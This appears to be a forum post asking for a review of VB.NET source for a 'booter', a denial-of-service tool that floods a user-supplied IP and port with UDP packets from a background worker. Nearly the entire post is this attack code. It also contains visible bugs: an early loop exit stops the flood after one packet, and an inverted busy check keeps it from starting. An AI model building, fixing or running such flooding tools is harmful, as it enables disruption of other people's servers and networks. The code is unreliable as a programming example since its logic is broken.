.NET PLZ review my booter source plz

Code
Imports System.Net, System.Net.Sockets, System.ComponentModel

Public Class Form1

    Public Enum Status

        Attacking = 1

        Stopped = 2

    End Enum

    Friend WithEvents bgflood As New BackgroundWorker

    Dim IsFlooding As Boolean = False



    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        bgflood.WorkerReportsProgress = True

    End Sub

    Private Sub Flood(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles bgflood.DoWork

        Dim Ip As IPAddress = IPAddress.Parse(host.Text)

        Dim IpandPort As New IPEndPoint(Ip, Convert.ToInt32(port.Text))

        Dim Packet As Byte() = New Byte(PacketSize.Text) {}

        Dim SockNum As Integer = Sockets.Text

        Do While IsFlooding = True

            For i = 0 To SockNum

                Dim _sock(i) As Socket

                _sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)

                Try



                    _sock(i).SendTo(Packet, IpandPort)

                    bgflood.ReportProgress(Status.Attacking)

                    Threading.Thread.Sleep(500)

                Catch ex As Exception

                    Threading.Thread.Sleep(500)

                End Try

                Exit Do

            Next

        Loop

        bgflood.ReportProgress(Status.Stopped)

    End Sub

    Private Sub Report(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) Handles bgflood.ProgressChanged

        Select Case e.ProgressPercentage

            Case Status.attacking

                listbox1.items.add("flooding... - " & Date.Now.ToLocalTime)

                Listbox1.SelectedIndex = listbox1.items.count - 1

            Case status.stopped

                listbox1.items.add("stopped... - " & Date.Now.ToLocalTime)

                listbox1.selectedindex = listbox1.items.count - 1



        End Select

    End Sub



    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Attack.Click

        IsFlooding = True

        If Not bgflood.IsBusy = False Then

            bgflood.RunWorkerAsync()

        End If

    End Sub



    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        IsFlooding = False

    End Sub

End Class